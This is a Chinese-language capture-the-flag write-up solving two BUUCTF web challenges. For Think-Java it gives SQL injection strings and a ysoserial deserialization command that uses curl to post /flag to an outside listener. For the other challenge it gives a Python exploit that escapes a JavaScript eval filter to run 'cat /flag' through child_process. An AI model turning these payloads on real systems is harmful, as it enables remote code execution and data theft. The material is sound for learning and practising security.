刷题记录(七)
buuctf-Think-Java
题目给了附件,是几个class文件,反编译以后查看内容
其中导入了swagger框架,该框架提供了一个可视化的UI页面展示web应用的接口。方便调用和测试。访问/swagger-ui.html
页面,得到接口如下:
审计反编译的代码,发现采用字符串拼接的方式构造sql语句,存在sql注入。如果dbName
参数为空,默认的数据库名称为myapp
查询语句为:
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
构造dbName=myapp#'union select 1#
进行联合注入查询,无效参数并不会影响数据库连接,查询结果:
得知表名为user,字段名有id、name、pwd。
查询用户名:dbName=myapp#'union select name from user#
,得到name为admin
查询密码:dbName=myapp#'union select pwd from user#
,得到pwd为admin@Rrrr_ctf_asde
返回结果:
返回data数据以rO0AB开头,是Java序列化后Base64编码的数据。
使用current接口发送以上序列化数据,系统返回了当前用户的用户名,说明该接口进行了反序列化:
使用ysoserial生成payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl xx.xx.xx.xx:xxxx -d @/flag" | base64 -w 0
在服务器上用nc命令监听相应端口。用cunrrent接口发送生成的反序列化数据即可在服务器上收到flag。
buuctf-验证🐎1
JavaScript类型比较:
>>console.log([1]==1)
true
>>console.log('1'==1)
true
>>console.log('1'===1)
false
>>console.log([1]===1)
false
JavaScript数据类型相加:
>>var a={'e':'cat /flag'}
>>var b = "str-1"
>>var c = a+b
>>typeof(c)
"string"
>>a+b
"[Object Object]str-1"
>>var d =[1,2,3]
>>d+b
"1,2,3str-1"
对象和字符串相加以后得到的是字符串。数组和字符串相加也是字符串。
长度length
属性:
>>var num=1
>>var str='123'
>>var arr = [1,2,3]
>>num.length
undefined
>>str.length
3
>>arr.length
3
源码:
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])
结合前面总结的特性,传入参数应该如下:
{"e":paylaod,"first":[0],"second":"0"}
saferEval
函数可以执行命令,但是内部有过滤处理操作:
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g
匹配以Math开头的字符串,后面跟一个点和一个或多个字母,常见的运算符和符号、数字、空格。
替换所有匹配的内容为空,如果替换后的字符串为空,则if的条件为false,不会执行return null
。
因此这里只能用Math来RCE。
javascript性质:
>>a=x=>x*x
>>a(2)
4
x=>x*x
相当于:
function(x){
return x*x;
}
(x=>x*x)(2)
相当于往这个函数里传入参数2。
>>var sum = Math.constructor.constructor('a','b','return a+b');
>>sum(1,2)
3
>>var fun = new Function('a','b','return a+b');
>>fun(1,2)
3
Math.constructor.constructor()
和构造函数new Function()
是等效的。Math换成别的函数结果一样。
最终Exp:
import requests
import json
headers = {
"Content-Type":"application/json"
}
url = "yoururl"
data = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[0],"second":"0"}
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)
Math.fromCharCode(...)
中的内容是return process.mainModule.require('child_process').execSync('cat /flag')
转成的ascii码。